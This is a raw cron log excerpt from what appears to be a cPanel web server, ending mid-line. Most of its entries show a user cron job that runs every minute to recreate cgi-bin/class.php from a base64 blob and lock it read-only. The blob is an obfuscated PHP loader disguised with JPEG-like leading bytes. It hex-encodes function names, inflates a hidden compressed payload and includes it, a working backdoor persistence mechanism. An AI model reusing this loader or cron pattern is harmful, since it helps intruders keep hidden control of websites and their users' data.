Nov 14 13:15:01 server CROND[5567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:16:01 server CROND[6634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:17:01 server CROND[7484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:18:01 server CROND[8340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:19:01 server CROND[9367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:20:01 server CROND[10223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:20:01 server CROND[10225]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 13:20:01 server CROND[10226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:20:01 server CROND[10228]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 13:20:01 server CROND[10227]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:21:01 server CROND[11302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:22:01 server CROND[12147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:23:01 server CROND[12739]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:24:01 server CROND[13653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:25:01 server CROND[14477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:25:01 server CROND[14478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:25:01 server CROND[14481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:26:01 server CROND[15191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:27:01 server CROND[16144]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 13:27:01 server CROND[16145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:28:01 server CROND[16704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 